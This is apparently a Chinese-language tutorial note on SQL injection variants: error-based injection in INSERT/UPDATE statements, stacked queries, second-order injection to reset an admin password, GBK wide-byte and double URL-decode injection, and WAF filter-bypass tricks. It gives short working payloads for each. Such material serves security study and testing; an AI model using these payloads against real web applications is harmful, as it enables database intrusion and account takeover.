SQL其他注入

其他注入

一、更新注入

  • 所有更新类操作,只返回布尔型结果,不会返回数据,所以无法像select一样进行多样化处理,所以更新类操作的核心就是构建报错注入的payload

    insert into user(username, password, role) vlues('wowo' or updatexml(1, concat(0x7e,database(), 0x7e),1) or '', '1243','user')
    
    # update、delete语句同理

二、堆叠注入

  • 通过再语句中加分号的方式一次性执行多条语句

    select * from user where userid=1; update user set password='1234' where userid=1

三、二次注入

  • 先完成注册,页面使用addslashes的情况下,注册一个admin'#的用户
  • 修改admin'#的密码,就会把admin的密码改掉

    $sql = "UPDATE user set password='$password' where username='$username'"
    // 其中$username为admin'#

四、宽字节注入

  • 通常在GBK等宽字节编码时使用
  • 当输入1'时,再addslashes函数的保护下,单引号会被加反斜杠转义:select *from article where articleid='1\'';
  • 当输入1%bf'时,再GBK等宽字符集的环境下,%bf和转义符(反斜杠)的%5c形成新的字符,注入时的sql语句:select *from article where articleid='1%bf\' and 1=1%23';
  • %bf与转义符组合形成了%bd%5c形成新字符,从而吃掉这个转义符号,导致单引号别,从而形成注入

五、URL解码注入

  • 只要字符被转换理论上就有注入的可能,现在对sql注入的防御主要是对单类单引号,双引号,反斜杠进行转义
  • 如果某个地方使用了urldecode或者rawurldecode函数的话,就会导致二次解码生成单引号引发注入
  • 原理时当提交web参数时,web服务器就会自动对url编码进行一次解码,假设目标有了过滤,但提交id=1%2527的时候,没有带单引号(单引号url编码为%27),这是服务器会自动解码,先解%25,而%25就是%,就能刚好和剩下的27组合成%27,如果程序里还有urldecode这样的解码函数时,就会二次解码,将%27解码为单引号,就会形成id=1'从而引发注入

六、绕过

  • 绕过空格

    可以通过圆括号绕过
    /**/、%20、%a0、%0a、%0d、%0b、%09、%0c
  • 用||代替or , 用&&代替and
  • 所有的确定字符串,都可以使用hex函数来处理成16进制,避免引号转义
  • 双写绕过

    select、and、or 等被过滤的话可以这么构造:
    selselectect、anandd,这样即便过滤了剩余字符串也能拼接成正常语句
  • 大小写绕过

    sql对关键字大小写不敏感
    AnD、SelEcT、Or,可以绕过简单的过滤手段
  • 普通注释绕过

    un/**/ion——>union
    se/**/lect ——>select
  • 内联注释

    在/*后加惊叹号 ! 意为/* */里的语句将被执行,仅适用于MySQL数据库
    /*!union*/ sel/**/ect 1,2,3
  • 00截断

    sel%00ect       可以绕过简单的WAF,但mysql中不会截断,可以正常执行
  • %

    sele%ct         如果是iis+asp,百分号会被忽略
上一篇
下一篇